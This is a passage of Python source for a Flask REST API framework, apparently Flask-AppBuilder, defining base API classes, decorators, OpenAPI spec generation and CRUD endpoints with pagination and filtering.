return self.response_400(message="Not a valid rison argument") if schema: try: jsonschema.validate(instance=kwargs["rison"], schema=schema) except jsonschema.ValidationError as e: return self.response_400( message="Not a valid rison schema {}".format(e) ) return f(self, *args, **kwargs) return functools.update_wrapper(wraps, f) return _rison def expose(url="/", methods=("GET",)): """ Use this decorator to expose API endpoints on your API classes. :param url: Relative URL for the endpoint :param methods: Allowed HTTP methods. By default only GET is allowed. """ def wrap(f): if not hasattr(f, "_urls"): f._urls = [] f._urls.append((url, methods)) return f return wrap def merge_response_func(func, key): """ Use this decorator to set a new merging response function to HTTP endpoints candidate function must have the following signature and be childs of BaseApi: ``` def merge_some_function(self, response, rison_args): ``` :param func: Name of the merge function where the key is allowed :param key: The key name for rison selection :return: None """ def wrap(f): if not hasattr(f, "_response_key_func_mappings"): f._response_key_func_mappings = dict() f._response_key_func_mappings[key] = func return f return wrap class BaseApi(object): """ All apis inherit from this class. it's constructor will register your exposed urls on flask as a Blueprint. This class does not expose any urls, but provides a common base for all APIS. """ appbuilder = None blueprint = None endpoint = None version = "v1" """ Define the Api version for this resource/class """ route_base = None """ Define the route base where all methods will suffix from """ resource_name = None """ Defines a custom resource name, overrides the inferred from Class name makes no sense to use it with route base """ base_permissions = None """ A list of allowed base permissions:: class ExampleApi(BaseApi): base_permissions = ['can_get'] """ class_permission_name = None """ Override class permission name default fallback to self.__class__.__name__ """ previous_class_permission_name = None """ If set security converge will replace all permissions tuples with this name by the class_permission_name or self.__class__.__name__ """ method_permission_name = None """ Override method permission names, example:: method_permissions_name = { 'get_list': 'read', 'get': 'read', 'put': 'write', 'post': 'write', 'delete': 'write' } """ previous_method_permission_name = None """ Use same structure as method_permission_name. If set security converge will replace all method permissions by the new ones """ allow_browser_login = False """ Will allow flask-login cookie authorization on the API default is False. """ csrf_exempt = True """ If using flask-wtf CSRFProtect exempt the API from check """ apispec_parameter_schemas = None """ Set your custom Rison parameter schemas here so that they get registered on the OpenApi spec:: custom_parameter = { "type": "object" "properties": { "name": { "type": "string" } } } class CustomApi(BaseApi): apispec_parameter_schemas = { "custom_parameter": custom_parameter } """ _apispec_parameter_schemas = None responses = { "400": { "description": "Bad request", "content": { "application/json": { "schema": { "type": "object", "properties": {"message": {"type": "string"}}, } } }, }, "401": { "description": "Unauthorized", "content": { "application/json": { "schema": { "type": "object", "properties": {"message": {"type": "string"}}, } } }, }, "404": { "description": "Not found", "content": { "application/json": { "schema": { "type": "object", "properties": {"message": {"type": "string"}}, } } }, }, "422": { "description": "Could not process entity", "content": { "application/json": { "schema": { "type": "object", "properties": {"message": {"type": "string"}}, } } }, }, "500": { "description": "Fatal error", "content": { "application/json": { "schema": { "type": "object", "properties": {"message": {"type": "string"}}, } } }, }, } """ Override custom OpenApi responses """ def __init__(self): """ Initialization of base permissions based on exposed methods and actions Initialization of extra args """ # Init OpenAPI self._response_key_func_mappings = dict() self.apispec_parameter_schemas = self.apispec_parameter_schemas or dict() self._apispec_parameter_schemas = self._apispec_parameter_schemas or dict() self._apispec_parameter_schemas.update(self.apispec_parameter_schemas) # Init class permission override attrs if not self.previous_class_permission_name and self.class_permission_name: self.previous_class_permission_name = self.__class__.__name__ self.class_permission_name = ( self.class_permission_name or self.__class__.__name__ ) # Init previous permission override attrs is_collect_previous = False if not self.previous_method_permission_name and self.method_permission_name: self.previous_method_permission_name = dict() is_collect_previous = True self.method_permission_name = self.method_permission_name or dict() # Collect base_permissions and infer previous permissions is_add_base_permissions = False if self.base_permissions is None: self.base_permissions = set() is_add_base_permissions = True for attr_name in dir(self): if hasattr(getattr(self, attr_name), "_permission_name"): if is_collect_previous: self.previous_method_permission_name[attr_name] = getattr( getattr(self, attr_name), "_permission_name" ) _permission_name = self.get_method_permission(attr_name) if is_add_base_permissions: self.base_permissions.add(PERMISSION_PREFIX + _permission_name) self.base_permissions = list(self.base_permissions) def create_blueprint(self, appbuilder, endpoint=None, static_folder=None): # Store appbuilder instance self.appbuilder = appbuilder # If endpoint name is not provided, get it from the class name self.endpoint = endpoint or self.__class__.__name__ self.resource_name = self.resource_name or self.__class__.__name__.lower() if self.route_base is None: self.route_base = "/api/{}/{}".format( self.version, self.resource_name.lower() ) self.blueprint = Blueprint(self.endpoint, __name__, url_prefix=self.route_base) # Exempt API from CSRF protect if self.csrf_exempt: csrf = self.appbuilder.app.extensions.get("csrf") if csrf: csrf.exempt(self.blueprint) self._register_urls() return self.blueprint def add_api_spec(self, api_spec): for attr_name in dir(self): attr = getattr(self, attr_name) if hasattr(attr, "_urls"): for url, methods in attr._urls: operations = dict() path = self.path_helper(path=url, operations=operations) self.operation_helper( path=path, operations=operations, methods=methods, func=attr ) api_spec.path(path=path, operations=operations) for operation in operations: api_spec._paths[path][operation]["tags"] = [ self.__class__.__name__ ] self.add_apispec_components(api_spec) def add_apispec_components(self, api_spec): for k, v in self.responses.items(): api_spec.components._responses[k] = v for k, v in self._apispec_parameter_schemas.items(): if k not in api_spec.components._parameters: _v = { "in": "query", "name": API_URI_RIS_KEY, "schema": {"$ref": "#/components/schemas/{}".format(k)}, } # Using private because parameter method does not behave correctly api_spec.components._schemas[k] = v api_spec.components._parameters[k] = _v def _register_urls(self): for attr_name in dir(self): attr = getattr(self, attr_name) if hasattr(attr, "_urls"): for url, methods in attr._urls: log.info( f"Registering route {self.blueprint.url_prefix}{url} {methods}" ) self.blueprint.add_url_rule(url, attr_name, attr, methods=methods) def path_helper(self, path=None, operations=None, **kwargs): """ Works like a apispec plugin May return a path as string and mutate operations dict. :param str path: Path to the resource :param dict operations: A `dict` mapping HTTP methods to operation object. See https://github.com/OAI/OpenAPI-Specification/blob/master/versions/3.0.2.md#operationObject :param kwargs: :return: Return value should be a string or None. If a string is returned, it is set as the path. """ RE_URL = re.compile(r"<(?:[^:<>]+:)?([^<>]+)>") path = RE_URL.sub(r"{\1}", path) return "/{}{}".format(self.resource_name, path) def operation_helper( self, path=None, operations=None, methods=None, func=None, **kwargs ): """May mutate operations. :param str path: Path to the resource :param dict operations: A `dict` mapping HTTP methods to operation object. See :param list methods: A list of methods registered for this path """ for method in methods: yaml_doc_string = yaml_utils.load_operations_from_docstring(func.__doc__) yaml_doc_string = yaml.safe_load( str(yaml_doc_string).replace( "{{self.__class__.__name__}}", self.__class__.__name__ ) ) if yaml_doc_string: operation_spec = yaml_doc_string.get(method.lower(), {}) if self.get_method_permission(func.__name__): operation_spec["security"] = [{"jwt": []}] operations[method.lower()] = operation_spec else: operations[method.lower()] = {} @staticmethod def _prettify_name(name): """ Prettify pythonic variable name. For example, 'HelloWorld' will be converted to 'Hello World' :param name: Name to prettify. """ return re.sub(r"(?<=.)([A-Z])", r" \1", name) @staticmethod def _prettify_column(name): """ Prettify pythonic variable name. For example, 'hello_world' will be converted to 'Hello World' :param name: Name to prettify. """ return re.sub("[._]", " ", name).title() def get_uninit_inner_views(self): """ Will return a list with views that need to be initialized. Normally related_views from ModelView """ return [] def get_init_inner_views(self, views): """ Sets initialized inner views """ pass # pragma: no cover def get_method_permission(self, method_name: str) -> str: """ Returns the permission name for a method """ if self.method_permission_name: return self.method_permission_name.get(method_name) else: if hasattr(getattr(self, method_name), "_permission_name"): return getattr(getattr(self, method_name), "_permission_name") def set_response_key_mappings(self, response, func, rison_args, **kwargs): if not hasattr(func, "_response_key_func_mappings"): return # pragma: no cover _keys = rison_args.get("keys", None) if not _keys: for k, v in func._response_key_func_mappings.items(): v(self, response, **kwargs) else: for k, v in func._response_key_func_mappings.items(): if k in _keys: v(self, response, **kwargs) def merge_current_user_permissions(self, response, **kwargs): response[API_PERMISSIONS_RES_KEY] = [ permission for permission in self.base_permissions if self.appbuilder.sm.has_access(permission, self.class_permission_name) ] @staticmethod def response(code, **kwargs): """ Generic HTTP JSON response method :param code: HTTP code (int) :param kwargs: Data structure for response (dict) :return: HTTP Json response """ _ret_json = jsonify(kwargs) resp = make_response(_ret_json, code) resp.headers["Content-Type"] = "application/json; charset=utf-8" return resp def response_400(self, message=None): """ Helper method for HTTP 400 response :param message: Error message (str) :return: HTTP Json response """ message = message or "Arguments are not correct" return self.response(400, **{"message": message}) def response_422(self, message=None): """ Helper method for HTTP 422 response :param message: Error message (str) :return: HTTP Json response """ message = message or "Could not process entity" return self.response(422, **{"message": message}) def response_401(self): """ Helper method for HTTP 401 response :param message: Error message (str) :return: HTTP Json response """ return self.response(401, **{"message": "Not authorized"}) def response_404(self): """ Helper method for HTTP 404 response :param message: Error message (str) :return: HTTP Json response """ return self.response(404, **{"message": "Not found"}) def response_500(self, message=None): """ Helper method for HTTP 500 response :param message: Error message (str) :return: HTTP Json response """ message = message or "Internal error" return self.response(500, **{"message": message}) class BaseModelApi(BaseApi): datamodel = None """ Your sqla model you must initialize it like:: class MyModelApi(BaseModelApi): datamodel = SQLAInterface(MyTable) """ search_columns = None """ List with allowed search columns, if not provided all possible search columns will be used. If you want to limit the search (*filter*) columns possibilities, define it with a list of column names from your model:: class MyView(ModelRestApi): datamodel = SQLAInterface(MyTable) search_columns = ['name', 'address'] """ search_exclude_columns = None """ List with columns to exclude from search. Search includes all possible columns by default """ label_columns = None """ Dictionary of labels for your columns, override this if you want different pretify labels example (will just override the label for name column):: class MyView(ModelRestApi): datamodel = SQLAInterface(MyTable) label_columns = {'name':'My Name Label Override'} """ base_filters = None """ Filter the view use: [['column_name',BaseFilter,'value'],] example:: def get_user(): return g.user class MyView(ModelRestApi): datamodel = SQLAInterface(MyTable) base_filters = [['created_by', FilterEqualFunction, get_user], ['name', FilterStartsWith, 'a']] """ base_order = None """ Use this property to set default ordering for lists ('col_name','asc|desc'):: class MyView(ModelRestApi): datamodel = SQLAInterface(MyTable) base_order = ('my_column_name','asc') """ _base_filters = None """ Internal base Filter from class Filters will always filter view """ _filters = None """ Filters object will calculate all possible filter types based on search_columns """ def __init__(self, **kwargs): """ Constructor """ datamodel = kwargs.get("datamodel", None) if datamodel: self.datamodel = datamodel self._init_properties() self._init_titles() super(BaseModelApi, self).__init__() def _gen_labels_columns(self, list_columns): """ Auto generates pretty label_columns from list of columns """ for col in list_columns: if not self.label_columns.get(col): self.label_columns[col] = self._prettify_column(col) def _label_columns_json(self, cols=None): """ Prepares dict with labels to be JSON serializable """ ret = {} cols = cols or [] d = {k: v for (k, v) in self.label_columns.items() if k in cols} for key, value in d.items(): ret[key] = as_unicode(_(value).encode("UTF-8")) return ret def _init_properties(self): self.label_columns = self.label_columns or {} self.base_filters = self.base_filters or [] self.search_exclude_columns = self.search_exclude_columns or [] self.search_columns = self.search_columns or [] self._base_filters = self.datamodel.get_filters().add_filter_list( self.base_filters ) search_columns = self.datamodel.get_search_columns_list() if not self.search_columns: self.search_columns = [ x for x in search_columns if x not in self.search_exclude_columns ] self._gen_labels_columns(self.datamodel.get_columns_list()) self._filters = self.datamodel.get_filters(self.search_columns) def _init_titles(self): pass class ModelRestApi(BaseModelApi): list_title = "" """ List Title, if not configured the default is 'List ' with pretty model name """ show_title = "" """ Show Title , if not configured the default is 'Show ' with pretty model name """ add_title = "" """ Add Title , if not configured the default is 'Add ' with pretty model name """ edit_title = "" """ Edit Title , if not configured the default is 'Edit ' with pretty model name """ list_columns = None """ A list of columns (or model's methods) to be displayed on the list view. Use it to control the order of the display """ show_columns = None """ A list of columns (or model's methods) for the get item endpoint. Use it to control the order of the results """ add_columns = None """ A list of columns (or model's methods) to be allowed to post """ edit_columns = None """ A list of columns (or model's methods) to be allowed to update """ list_exclude_columns = None """ A list of columns to exclude from the get list endpoint. By default all columns are included. """ show_exclude_columns = None """ A list of columns to exclude from the get item endpoint. By default all columns are included. """ add_exclude_columns = None """ A list of columns to exclude from the add endpoint. By default all columns are included. """ edit_exclude_columns = None """ A list of columns to exclude from the edit endpoint. By default all columns are included. """ order_columns = None """ Allowed order columns """ page_size = 20 """ Use this property to change default page size """ max_page_size = None """ class override for the FAB_API_MAX_SIZE, use special -1 to allow for any page size """ description_columns = None """ Dictionary with column descriptions that will be shown on the forms:: class MyView(ModelView): datamodel = SQLAModel(MyTable, db.session) description_columns = {'name':'your models name column', 'address':'the address column'} """ validators_columns = None """ Dictionary to add your own validators for forms """ add_query_rel_fields = None """ Add Customized query for related add fields. Assign a dictionary where the keys are the column names of the related models to filter, the value for each key, is a list of lists with the same format as base_filter {'relation col name':[['Related model col',FilterClass,'Filter Value'],...],...} Add a custom filter to form related fields:: class ContactModelView(ModelRestApi): datamodel = SQLAModel(Contact) add_query_rel_fields = {'group':[['name',FilterStartsWith,'W']]} """ edit_query_rel_fields = None """ Add Customized query for related edit fields. Assign a dictionary where the keys are the column names of the related models to filter, the value for each key, is a list of lists with the same format as base_filter {'relation col name':[['Related model col',FilterClass,'Filter Value'],...],...} Add a custom filter to form related fields:: class ContactModelView(ModelRestApi): datamodel = SQLAModel(Contact, db.session) edit_query_rel_fields = {'group':[['name',FilterStartsWith,'W']]} """ order_rel_fields = None """ Impose order on related fields. assign a dictionary where the keys are the related column names:: class ContactModelView(ModelRestApi): datamodel = SQLAModel(Contact) order_rel_fields = { 'group': ('name', 'asc') 'gender': ('name', 'asc') } """ list_model_schema = None """ Override to provide your own marshmallow Schema for JSON to SQLA dumps """ add_model_schema = None """ Override to provide your own marshmallow Schema for JSON to SQLA dumps """ edit_model_schema = None """ Override to provide your own marshmallow Schema for JSON to SQLA dumps """ show_model_schema = None """ Override to provide your own marshmallow Schema for JSON to SQLA dumps """ model2schemaconverter = Model2SchemaConverter """ Override to use your own Model2SchemaConverter (inherit from BaseModel2SchemaConverter) """ _apispec_parameter_schemas = { "get_info_schema": get_info_schema, "get_item_schema": get_item_schema, "get_list_schema": get_list_schema, } def __init__(self): super(ModelRestApi, self).__init__() self.validators_columns = self.validators_columns or {} self.model2schemaconverter = self.model2schemaconverter( self.datamodel, self.validators_columns ) def create_blueprint(self, appbuilder, *args, **kwargs): self._init_model_schemas() return super(ModelRestApi, self).create_blueprint(appbuilder, *args, **kwargs) def add_apispec_components(self, api_spec): super(ModelRestApi, self).add_apispec_components(api_spec) api_spec.components.schema( "{}.{}".format(self.__class__.__name__, "get_list"), schema=self.list_model_schema, ) api_spec.components.schema( "{}.{}".format(self.__class__.__name__, "post"), schema=self.add_model_schema, ) api_spec.components.schema( "{}.{}".format(self.__class__.__name__, "put"), schema=self.edit_model_schema, ) api_spec.components.schema( "{}.{}".format(self.__class__.__name__, "get"), schema=self.show_model_schema, ) def _init_model_schemas(self): # Create Marshmalow schemas if one is not specified if self.list_model_schema is None: self.list_model_schema = self.model2schemaconverter.convert( self.list_columns ) if self.add_model_schema is None: self.add_model_schema = self.model2schemaconverter.convert( self.add_columns, nested=False, enum_dump_by_name=True ) if self.edit_model_schema is None: self.edit_model_schema = self.model2schemaconverter.convert( self.edit_columns, nested=False, enum_dump_by_name=True ) if self.show_model_schema is None: self.show_model_schema = self.model2schemaconverter.convert( self.show_columns ) def _init_titles(self): """ Init Titles if not defined """ super(ModelRestApi, self)._init_titles() class_name = self.datamodel.model_name if not self.list_title: self.list_title = "List " + self._prettify_name(class_name) if not self.add_title: self.add_title = "Add " + self._prettify_name(class_name) if not self.edit_title: self.edit_title = "Edit " + self._prettify_name(class_name) if not self.show_title: self.show_title = "Show " + self._prettify_name(class_name) self.title = self.list_title def _init_properties(self): """ Init Properties """ super(ModelRestApi, self)._init_properties() # Reset init props self.description_columns = self.description_columns or {} self.list_exclude_columns = self.list_exclude_columns or [] self.show_exclude_columns = self.show_exclude_columns or [] self.add_exclude_columns = self.add_exclude_columns or [] self.edit_exclude_columns = self.edit_exclude_columns or [] self.order_rel_fields = self.order_rel_fields or {} # Generate base props list_cols = self.datamodel.get_user_columns_list() if not self.list_columns and self.list_model_schema: list(self.list_model_schema._declared_fields.keys()) else: self.list_columns = self.list_columns or [ x for x in self.datamodel.get_user_columns_list() if x not in self.list_exclude_columns ] self.order_columns = ( self.order_columns or self.datamodel.get_order_columns_list(list_columns=self.list_columns) ) # Process excluded columns if not self.show_columns: self.show_columns = [ x for x in list_cols if x not in self.show_exclude_columns ] if not self.add_columns: self.add_columns = [ x for x in list_cols if x not in self.add_exclude_columns ] if not self.edit_columns: self.edit_columns = [ x for x in list_cols if x not in self.edit_exclude_columns ] self._gen_labels_columns(self.list_columns) self._gen_labels_columns(self.show_columns) self._filters = self.datamodel.get_filters(self.search_columns) self.edit_query_rel_fields = self.edit_query_rel_fields or dict() self.add_query_rel_fields = self.add_query_rel_fields or dict() def merge_add_field_info(self, response, **kwargs): _kwargs = kwargs.get("add_columns", {}) response[API_ADD_COLUMNS_RES_KEY] = self._get_fields_info( self.add_columns, self.add_model_schema, self.add_query_rel_fields, **_kwargs, ) def merge_edit_field_info(self, response, **kwargs): _kwargs = kwargs.get("edit_columns", {}) response[API_EDIT_COLUMNS_RES_KEY] = self._get_fields_info( self.edit_columns, self.edit_model_schema, self.edit_query_rel_fields, **_kwargs, ) def merge_search_filters(self, response, **kwargs): # Get possible search fields and all possible operations search_filters = dict() dict_filters = self._filters.get_search_filters() for col in self.search_columns: search_filters[col] = [ {"name": as_unicode(flt.name), "operator": flt.arg_name} for flt in dict_filters[col] ] response[API_FILTERS_RES_KEY] = search_filters def merge_add_title(self, response, **kwargs): response[API_ADD_TITLE_RES_KEY] = self.add_title def merge_edit_title(self, response, **kwargs): response[API_EDIT_TITLE_RES_KEY] = self.edit_title def merge_label_columns(self, response, **kwargs): _pruned_select_cols = kwargs.get(API_SELECT_COLUMNS_RIS_KEY, []) if _pruned_select_cols: columns = _pruned_select_cols else: # Send the exact labels for the caller operation if kwargs.get("caller") == "list": columns = self.list_columns elif kwargs.get("caller") == "show": columns = self.show_columns else: columns = self.label_columns # pragma: no cover response[API_LABEL_COLUMNS_RES_KEY] = self._label_columns_json(columns) def merge_list_label_columns(self, response, **kwargs): self.merge_label_columns(response, caller="list", **kwargs) def merge_show_label_columns(self, response, **kwargs): self.merge_label_columns(response, caller="show", **kwargs) def merge_show_columns(self, response, **kwargs): _pruned_select_cols = kwargs.get(API_SELECT_COLUMNS_RIS_KEY, []) if _pruned_select_cols: response[API_SHOW_COLUMNS_RES_KEY] = _pruned_select_cols else: response[API_SHOW_COLUMNS_RES_KEY] = self.show_columns def merge_description_columns(self, response, **kwargs): _pruned_select_cols = kwargs.get(API_SELECT_COLUMNS_RIS_KEY, []) if _pruned_select_cols: response[API_DESCRIPTION_COLUMNS_RES_KEY] = self._description_columns_json( _pruned_select_cols ) else: # Send all descriptions if cols are or request pruned response[API_DESCRIPTION_COLUMNS_RES_KEY] = self._description_columns_json( self.description_columns ) def merge_list_columns(self, response, **kwargs): _pruned_select_cols = kwargs.get(API_SELECT_COLUMNS_RIS_KEY, []) if _pruned_select_cols: response[API_LIST_COLUMNS_RES_KEY] = _pruned_select_cols else: response[API_LIST_COLUMNS_RES_KEY] = self.list_columns def merge_order_columns(self, response, **kwargs): _pruned_select_cols = kwargs.get(API_SELECT_COLUMNS_RIS_KEY, []) if _pruned_select_cols: response[API_ORDER_COLUMNS_RES_KEY] = [ order_col for order_col in self.order_columns if order_col in _pruned_select_cols ] else: response[API_ORDER_COLUMNS_RES_KEY] = self.order_columns def merge_list_title(self, response, **kwargs): response[API_LIST_TITLE_RES_KEY] = self.list_title def merge_show_title(self, response, **kwargs): response[API_SHOW_TITLE_RES_KEY] = self.show_title @expose("/_info", methods=["GET"]) @protect() @safe @rison(get_info_schema) @permission_name("info") @merge_response_func( BaseApi.merge_current_user_permissions, API_PERMISSIONS_RIS_KEY ) @merge_response_func(merge_add_field_info, API_ADD_COLUMNS_RIS_KEY) @merge_response_func(merge_edit_field_info, API_EDIT_COLUMNS_RIS_KEY) @merge_response_func(merge_search_filters, API_FILTERS_RIS_KEY) @merge_response_func(merge_add_title, API_ADD_TITLE_RIS_KEY) @merge_response_func(merge_edit_title, API_EDIT_TITLE_RIS_KEY) def info(self, **kwargs): """ Endpoint that renders a response for CRUD REST meta data --- get: parameters: - $ref: '#/components/parameters/get_info_schema' responses: 200: description: Item from Model content: application/json: schema: type: object properties: add_columns: type: object edit_columns: type: object filters: type: object permissions: type: array items: type: string 400: $ref: '#/components/responses/400' 401: $ref: '#/components/responses/401' 422: $ref: '#/components/responses/422' 500: $ref: '#/components/responses/500' """ _response = dict() _args = kwargs.get("rison", {}) self.set_response_key_mappings(_response, self.info, _args, **_args) return self.response(200, **_response) @expose("/<pk>", methods=["GET"]) @protect() @safe @permission_name("get") @rison(get_item_schema) @merge_response_func(merge_show_label_columns, API_LABEL_COLUMNS_RIS_KEY) @merge_response_func(merge_show_columns, API_SHOW_COLUMNS_RIS_KEY) @merge_response_func(merge_description_columns, API_DESCRIPTION_COLUMNS_RIS_KEY) @merge_response_func(merge_show_title, API_SHOW_TITLE_RIS_KEY) def get(self, pk, **kwargs): """Get item from Model --- get: parameters: - in: path schema: type: integer name: pk - $ref: '#/components/parameters/get_item_schema' responses: 200: description: Item from Model content: application/json: schema: type: object properties: label_columns: type: object show_columns: type: array items: type: string description_columns: type: object show_title: type: string id: type: string result: $ref: '#/components/schemas/{{self.__class__.__name__}}.get' 400: $ref: '#/components/responses/400' 401: $ref: '#/components/responses/401' 404: $ref: '#/components/responses/404' 422: $ref: '#/components/responses/422' 500: $ref: '#/components/responses/500' """ item = self.datamodel.get(pk, self._base_filters) if not item: return self.response_404() _response = dict() _args = kwargs.get("rison", {}) select_cols = _args.get(API_SELECT_COLUMNS_RIS_KEY, []) _pruned_select_cols = [col for col in select_cols if col in self.show_columns] self.set_response_key_mappings( _response, self.get, _args, **{API_SELECT_COLUMNS_RIS_KEY: _pruned_select_cols}, ) if _pruned_select_cols: _show_model_schema = self.model2schemaconverter.convert(_pruned_select_cols) else: _show_model_schema = self.show_model_schema _response["id"] = pk _response[API_RESULT_RES_KEY] = _show_model_schema.dump(item, many=False).data self.pre_get(_response) return self.response(200, **_response) @expose("/", methods=["GET"]) @protect() @safe @permission_name("get") @rison(get_list_schema) @merge_response_func(merge_order_columns, API_ORDER_COLUMNS_RIS_KEY) @merge_response_func(merge_list_label_columns, API_LABEL_COLUMNS_RIS_KEY) @merge_response_func(merge_description_columns, API_DESCRIPTION_COLUMNS_RIS_KEY) @merge_response_func(merge_list_columns, API_LIST_COLUMNS_RIS_KEY) @merge_response_func(merge_list_title, API_LIST_TITLE_RIS_KEY) def get_list(self, **kwargs): """Get list of items from Model --- get: parameters: - $ref: '#/components/parameters/get_list_schema' responses: 200: description: Items from Model content: application/json: schema: type: object properties: label_columns: type: object list_columns: type: array items: type: string description_columns: type: object list_title: type: string ids: type: array items: type: string order_columns: type: array items: type: string result: type: array items: $ref: '#/components/schemas/{{self.__class__.__name__}}.get_list' # noqa 400: $ref: '#/components/responses/400' 401: $ref: '#/components/responses/401' 422: $ref: '#/components/responses/422' 500: $ref: '#/components/responses/500' """ _response = dict() _args = kwargs.get("rison", {}) # handle select columns select_cols = _args.get(API_SELECT_COLUMNS_RIS_KEY, []) _pruned_select_cols = [col for col in select_cols if col in self.list_columns] self.set_response_key_mappings( _response, self.get_list, _args, **{API_SELECT_COLUMNS_RIS_KEY: _pruned_select_cols}, ) if _pruned_select_cols: _list_model_schema = self.model2schemaconverter.convert(_pruned_select_cols) else: _list_model_schema = self.list_model_schema # handle filters joined_filters = self._handle_filters_args(_args) # handle base order order_column, order_direction = self._handle_order_args(_args) # handle pagination page_index, page_size = self._handle_page_args(_args) # Make the query query_select_columns = _pruned_select_cols or self.list_columns count, lst = self.datamodel.query( joined_filters, order_column, order_direction, page=page_index, page_size=page_size, select_columns=query_select_columns, ) pks = self.datamodel.get_keys(lst) _response[API_RESULT_RES_KEY] = _list_model_schema.dump(lst, many=True).data _response["ids"] = pks _response["count"] = count self.pre_get_list(_response) return self.response(200, **_response) @expose("/", methods=["POST"]) @protect() @safe @permission_name("post") def post(self): """POST item to Model --- post: requestBody: description: Model schema required: true content: application/json: schema: $ref: '#/components/schemas/{{self.__class__.__name__}}.post' responses: 201: description: Item inserted content: application/json: schema: type: object properties: id: type: string result: $ref: '#/components/schemas/{{self.__class__.__name__}}.post' 400: $ref: '#/components/responses/400' 401: $ref: '#/components/responses/401' 422: $ref: '#/components/responses/422' 500: $ref: '#/components/responses/500' """ if not request.is_json: return self.response_400(message="Request is not JSON") try: item = self.add_model_schema.load(request.json) except ValidationError as err: return self.response_422(message=err.messages) # This validates custom Schema with custom validations if isinstance(item.data, dict): return self.response_422(message=item.errors) self.pre_add(item.data) try: self.datamodel.add(item.data, raise_exception=True) self.post_add(item.data) return self.response( 201, **{ API_RESULT_RES_KEY: self.add_model_schema.dump( item.data, many=False ).data, "id": self.datamodel.get_pk_value(item.data), }, ) except IntegrityError as e: return self.response_422(message=str(e.orig)) @expose("/<pk>", methods=["PUT"]) @protect() @safe @permission_name("put") def put(self, pk): """PUT item to Model --- put: parameters: - in: path schema: type: integer name: pk requestBody: description: Model schema required: true content: application/json: schema: $ref: '#/components/schemas/{{self.__class__.__name__}}.put' responses: 200: description: Item changed content: application/json: schema: type: object properties: result: $ref: '#/components/schemas/{{self.__class__.__name__}}.put' 400: $ref: '#/components/responses/400' 401: $ref: '#/components/responses/401' 404: $ref: '#/components/responses/404' 422: $ref: '#/components/responses/422' 500: $ref: '#/components/responses/500' """ item = self.datamodel.get(pk, self._base_filters) if not request.is_json: return self.response(400, **{"message": "Request is not JSON"}) if not item: return self.response_404() try: data = self._merge_update_item(item, request.json) item = self.edit_model_schema.load(data, instance=item) except ValidationError as err: return self.response_422(message=err.messages) # This validates custom Schema with custom validations if isinstance(item.data, dict): return self.response_422(message=item.errors) self.pre_update(item.data) try: self.datamodel.edit(item.data, raise_exception=True) self.post_update(item) return self.response( 200, **{ API_RESULT_RES_KEY: self.edit_model_schema.dump( item.data, many=False ).data }, ) except IntegrityError as e: return self.response_422(message=str(e.orig)) @expose("/<pk>", methods=["DELETE"]) @protect() @safe @permission_name("delete") def delete(self, pk): """Delete item from Model --- delete: parameters: - in: path schema: type: integer name: pk responses: 200: description: Item deleted content: application/json: schema: type: object properties: message: type: string 404: $ref: '#/components/responses/404' 422: $ref: '#/components/responses/422' 500: $ref: '#/components/responses/500' """ item = self.datamodel.get(pk, self._base_filters) if not item: return self.response_404() self.pre_delete(item) try: self.datamodel.delete(item, raise_exception=True) self.post_delete(item) return self.response(200, message="OK") except IntegrityError as e: return self.response_422(message=str(e.orig)) """ ------------------------------------------------ HELPER FUNCTIONS ------------------------------------------------ """ def _handle_page_args(self, rison_args): """ Helper function to handle rison page arguments, sets defaults and impose FAB_API_MAX_PAGE_SIZE :param rison_args: :return: (tuple) page, page_size """ page = rison_args.get(API_PAGE_INDEX_RIS_KEY, 0) page_size = rison_args.get(API_PAGE_SIZE_RIS_KEY, self.page_size) return self._sanitize_page_args(page, page_size) def _sanitize_page_args(self, page, page_size): _page = page or 0 _page_size = page_size or self.page_size max_page_size = self.max_page_size or current_app.config.get( "FAB_API_MAX_PAGE_SIZE" ) # Accept special -1 to uncap the page size if max_page_size == -1: if _page_size == -1: return None, None else: return _page, _page_size if _page_size > max_page_size or _page_size < 1: _page_size = max_page_size return _page, _page_size def _handle_order_args(self, rison_args): """ Help function to handle rison order arguments :param rison_args: :return: """ order_column = rison_args.get(API_ORDER_COLUMN_RIS_KEY, "") order_direction = rison_args.get(API_ORDER_DIRECTION_RIS_KEY, "") if not order_column and self.base_order: order_column, order_direction = self.base_order if order_column not in self.order_columns: return "", "" return order_column, order_direction def _handle_filters_args(self, rison_args): self._filters.clear_filters() self._filters.rest_add_filters(rison_args.get(API_FILTERS_RIS_KEY, [])) return self._filters.get_joined_filters(self._base_filters) def _description_columns_json(self, cols=None): """ Prepares dict with col descriptions to be JSON serializable """ ret = {} cols = cols or [] d = {k: v for (k, v) in self.description_columns.items() if k in cols} for key, value in d.items(): ret[key] = as_unicode(_(value).encode("UTF-8")) return ret def _get_field_info(self, field, filter_rel_field, page=None, page_size=None): """ Return a dict with field details ready to serve as a response :param field: marshmallow field :return: dict with field details """ ret = dict() ret["name"] = field.name ret["label"] = _(self.label_columns.get(field.name, "")) ret["description"] = _(self.description_columns.get(field.name, "")) # Handles related fields if isinstance(field, Related) or isinstance(field, RelatedList): ret["count"], ret["values"] = self._get_list_related_field( field, filter_rel_field, page=page, page_size=page_size ) if field.validate and isinstance(field.validate, list): ret["validate"] = [str(v) for v in field.validate] elif field.validate: ret["validate"] = [str(field.validate)] ret["type"] = field.__class__.__name__ ret["required"] = field.required ret["unique"] = field.unique return ret def _get_fields_info(self, cols, model_schema, filter_rel_fields, **kwargs): """ Returns a dict with fields detail from a marshmallow schema :param cols: list of columns to show info for :param model_schema: Marshmallow model schema :param filter_rel_fields: expects add_query_rel_fields or edit_query_rel_fields :param kwargs: Receives all rison arguments for pagination :return: dict with all fields details """ ret = list() for col in cols: page = page_size = None col_args = kwargs.get(col, {}) if col_args: page = col_args.get(API_PAGE_INDEX_RIS_KEY, None) page_size = col_args.get(API_PAGE_SIZE_RIS_KEY, None) ret.append( self._get_field_info( model_schema.fields[col], filter_rel_fields.get(col, []), page=page, page_size=page_size, ) ) return ret def _get_list_related_field( self, field, filter_rel_field, page=None, page_size=None ): """ Return a list of values for a related field :param field: Marshmallow field :param filter_rel_field: Filters for the related field :param page: The page index :param page_size: The page size :return: (int, list) total record count and list of dict with id and value """ ret = list() if isinstance(field, Related) or isinstance(field, RelatedList): datamodel = self.datamodel.get_related_interface(field.name) filters = datamodel.get_filters(datamodel.get_search_columns_list()) page, page_size = self._sanitize_page_args(page, page_size) order_field = self.order_rel_fields.get(field.name) if order_field: order_column, order_direction = order_field else: order_column, order_direction = "", "" if filter_rel_field: filters = filters.add_filter_list(filter_rel_field) count, values = datamodel.query( filters, order_column, order_direction, page=page, page_size=page_size ) for value in values: ret.append({"id": 